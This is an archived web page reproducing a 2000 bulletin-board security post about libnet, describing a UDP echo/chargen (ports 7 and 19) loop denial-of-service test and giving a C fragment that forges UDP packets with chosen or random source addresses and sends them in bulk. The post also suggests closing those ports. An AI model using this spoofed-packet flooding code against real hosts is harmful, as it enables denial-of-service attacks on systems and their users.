⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 529.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="530.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>

标  题: libnet使用举例(4) <br>

发信站: 武汉白云黄鹤站 (Fri Jul 28 20:51:54 2000), 站内信件 <br>

利用7/19等端口形成无限循环进而达到DoS目的。我用./linuxkiller -q lo -o 0x44 <br>

在linux上观察到了这种无限循环,用top命令查看,可以看到inetd进程CPU占用率高 <br>

达96.0%,因为7/19都是由inetd亲自处理的,注意这里并没有fork出另外一个inetd, <br>

实际DoS已经相当有效。至于Solaris,用 <br>

/usr/sbin/snoop -x 42 udp and host 192.168.10.2 and port 7 <br>

并没有观察到无限循环,可能和snoop对lo0设备的支持不好,加之Solaris本身不带 <br>

top(碰巧实验机器也没有装GNU的),我无法确认无限循环是否成立。 <br>

下面给一个UDP报文发送器例子,可以指定发送UDP报文的数量,同时允许指定srcIp、 <br>

srcPort、dstIp、dstPort等等,同样提供随机化源IP、源端口的功能。只需要介入 <br>

raw_socket即可。 <br>

与syn-flood相比,libnet_build_ip()指定IP数据区长度为UDP头长度(固定为8字节) <br>

加上UDP数据区长度,上层协议为IPPROTO_UDP。这次需要调用如下函数构造UDP头: <br>

int libnet_build_udp ( u_short sport, u_short dport, <br>

                       const u_char * payload, int payload_s, <br>

                       u_char * buf ); <br>

UDP没有类似IP、TCP头部那样的选项数据区,这里的payload和前面那两个函数的 <br>

payload意义不同,这里的payload指向UDP数据区,payload_s对应UDP数据区长度, <br>

UDP报头里有一个域对应整个UDP报文(包括UDP头)长度,与IP、TCP不同。最后一个形 <br>

参需要指向一个已分配好的数据区,UDP头从该指针开始。 <br>

还是调用 <br>

还是调用 <br>

libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALEN ); <br>

计算UDP报文校验和,包括头部和数据区。所以必须在数据区构造完毕后调用该函数, <br>

否则校验和错误。UDP校验和是可选的,如果设置成零表示不校验。我们做校验。 <br>

程序实在是没有意思,给个函数片段算了,利用UDP报文发送器进行DoS攻击的确恶心, <br>

  <br>

闲得没事还是关闭UDP 7/19吧,TCP 7/19稍微好点,想想为什么。 <br>

-------------------------------------------------------------------------- <br>

void udpSend ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, <br>

 u_l <br>

ong udpNumber ) <br>

{ <br>

    u_long s; <br>

    /* 构造IP头 */ <br>

    libnet_build_ip( LIBNET_UDP_H + SCZUDPDATALEN,  /* IP数据区长度 */ <br>

                     IPTOS_LOWDELAY,                /* IP tos       */ <br>

                     ( u_short )random(),           /* IP ID        */ <br>

                     0,                             /* frag stuff   */ <br>

                     255,                           /* TTL          */ <br>

                     IPPROTO_UDP,                   /* 上层协议     */ <br>

                     srcIp,                         /* big-endian序 */ <br>

                     dstIp,                         /* 目标IP       */ <br>

                     NULL,                          /* 无选项       */ <br>



                     0,                             /* 选项长度零   */ <br>

                     packet );                      /* 指向IP头     */ <br>

    for ( s = 0; s < udpNumber; s++ ) <br>

    { <br>

        /* 构造UDP头 */ <br>

        libnet_build_udp( srcPort,                              /* 源端口 <br>

  */ <br>

                          dstPort,                              /* 目标端口 <br>

  */ <br>

                          packet + LIBNET_IP_H + LIBNET_UDP_H,  /* payload <br>

  */ <br>

                          SCZUDPDATALEN,                        /* payload l <br>

engt <br>

h */ <br>

                          packet + LIBNET_IP_H ); <br>

        // 这里必须意识到,计算UDP校验和应该发生在UDP数据区构造完毕之后 <br>

        // 我们目的特殊,UDP数据区已经提前构造完毕了 <br>

        /* 计算UDP校验和,IP校验和由内核亲自计算 */ <br>

        Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALE <br>

N ); <br>

        /* 发送UDP报文 */ <br>

        Libnet_write_ip( rawSocket, packet, packet_size ); <br>



        // 这个输出很耗费时间,如果不是调试用,应该去掉 <br>

        // fprintf( stderr, "." ); <br>

    }  /* end of for */ <br>

    return; <br>

}  /* end of udpSend */ <br>

-------------------------------------------------------------------------- <br>

后来在Solaris上装了GNU top之后,没有发现类似Linux那样CPU占用率激增的现象, <br>

由于snoop对lo0设备的支持不是很好,无法通过协议分析软件观察无限循环是否成立。 <br>

  <br>

估计是没有形成。而Linux默认UDP 7/19是关闭的,Solaris默认打开却又无效,sigh。 <br>

  <br>

对2K测试也没有什么效果。 <br>

-- <br>

            也许有一天,他再从海上蓬蓬的雨点中升起, <br>

            飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>

            再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="530.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -